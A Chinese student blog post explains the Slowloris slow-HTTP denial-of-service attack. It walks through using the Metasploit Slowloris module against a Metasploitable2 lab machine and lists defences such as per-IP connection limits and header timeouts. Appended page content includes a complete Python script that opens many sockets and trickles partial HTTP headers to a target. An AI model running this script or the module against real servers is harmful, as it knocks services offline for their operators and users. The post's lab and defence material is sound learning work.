Slowloris DoS攻击的原理与简单实现

前言

       Slowloris 攻击是我在李华峰老师的书——《Metasploit Web 渗透测试实战》里面看的,感觉既简单又使用,现在这种攻击是很容易被防护的啦。不过我也不敢真刀实战的去试,只是拿个靶机玩玩罢了。

         废话还是写在结语里面吧。(划掉)结语可以不看(划掉)

Slowloris攻击的原理

        Slowloris 是一种资源消耗类DoS攻击,它利用部分HTTP请求进行操作。也叫做慢速攻击,这里的慢速并不是说发动攻击慢,而是访问一条链接的速度慢。Slowloris攻击的功能是打开与目标Web服务器的连接,然后尽可能长时间的保持这些连接打开。如果由多台电脑同时发起Slowloris攻击,那么这个时候就可以叫做DDoS攻击了。(在b站看的,不对望指出)

        例如,一间饭店中突然来了一群客人,他们每个人占用一张餐桌,只点一个菜,如果服务员去催促他们,他们会再点一个菜,就这样一直占用着餐桌,从而导致饭店无法继续正常营业。

Slowloris攻击前的准备

        在发起攻击之前,我们需要找到一个靶机,也就是攻击目标。在这里,我是使用

Metasploitable2作为靶机。(需要使用到虚拟机,使用教程看这篇博客:点击这里

        将靶机启动后并使用ifconfig命令查看靶机的ip地址:

        然后我们使用主机的浏览器输入这个ip地址:

        可以看到,现在我们可以正常的访问靶机的这个网站。

使用kali虚拟机发起攻击

        发动Slowloris攻击有很多种方式,在这里我使用的是kali中的Metasploit。(安装kali虚拟机的教程自己去找吧,相信有兴趣看这篇博客的同学都是对网络安全感兴趣的)(我使用的虚拟机时VMware)        

        我们启动kali虚拟机后,打开漏洞利用工具集中的Metasploit framework:

        输入密码(就是kali的登录密码)进行登录:

        找到Slowloris模块并使用:

在图中的options中

Delay:表示一条维持一条链接的时间,也就是延时

Rhost:表示要攻击的目标ip

Rpost:表示发起攻击使用的端口,默认为80

Sockets:用来指定要发起的连接数量,默认是150

        接下来,我们设置好要攻击的目标ip,使用run命令开始发动攻击:

        可以看到,发起攻击后,靶机的网页无法进行刷新:

        

        以上就是Slowloris攻击的一次攻击过程。(很浅显的啦)

如何防护Slowloris攻击

1、提高服务器可用性:增加服务器在任何时候允许的最大客户端数量,这会增加攻击者在服务器过载之前必须建立的连接数量

2、限制传入请求个数:限制单个IP 地址允许建立的最大连接数

3、基于云的保护:使用可以充当反向代理的服务,在开始向源服务器发送任何内容之前缓冲传入请求,保护源服务器。

4、限制HTTP头部传输的最大许可时间:超过指定时间HTTP Header还没有传输完成,直接判定源IP地址为慢速连接攻击,中断连接并加入黑名单。

参考文献

[1] 李华峰.Metasploit Web 渗透测试实战[M].人民邮电出版社.2022.2

[2] https://zhuanlan.zhihu.com/p/457460501

[3] https://zhuanlan.zhihu.com/p/269119808

结语        

        半年多没写博客了,主要是懒,有些拖延症了。平时并没有很忙,专业分流的时候,我本来是选计科的,但是最后改了信安。信安的学习确实很广,很泛,学习都比较水了,所以我这一个学期感觉啥也没学就结束了(再过一周就结课了)。这学期我也是试着了解信安专业的比赛——ctf啦,参加了两个比赛,结果初赛都没过,更别说参加最后的夺旗赛了。不过我也是找了个网站刷了一下题啦,然后发现,这个比赛真的很看基础,光是杂项我就刷了挺久。花的时间基本都是去找工具,找wp这些上面,不过也很增长我的知识面(也确认了我菜的事实)。废话就到这里啦,等下我还要再写一篇python网络爬虫的blog。(说是写其实就是从做的课程实验搬过来罢了嘻嘻嘻)

        

  • 5
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
Slowloris攻击是一种利用HTTP协议的漏洞进行的拒绝服务(DoS)攻击。它通过发送大量的半连接(Half-open connections)来耗尽目标服务器的资源,从而使其无法正常响应其他合法用户的请求。 在Python中,可以使用socket库来实现Slowloris攻击。下面是一个简单的示例代码: ```python import socket import random import time def slowloris_attack(target_host, target_port, num_connections): # 创建指定数量的socket连接 sockets = [] for _ in range(num_connections): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(4) s.connect((target_host, target_port)) sockets.append(s) # 发送HTTP请求头部 headers = "GET / HTTP/1.1\r\n" + \ "Host: " + target_host + "\r\n" + \ "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3\r\n" + \ "Accept-language: en-US,en,q=0.5\r\n" + \ "Connection: keep-alive\r\n" + \ "Content-Length: 42\r\n" # 持续发送数据 while True: for s in sockets: try: s.send(headers.encode()) except socket.error: sockets.remove(s) # 随机延迟发送时间 time.sleep(random.randint(1, 10)) # 使用示例 target_host = "example.com" target_port = 80 num_connections = 100 slowloris_attack(target_host, target_port, num_connections) ``` 请注意,上述代码仅供学习和研究目的,请勿用于非法用途。进行任何未经授权的攻击是违法行为,可能会导致严重的法律后果。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

xiaoyuer2815

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值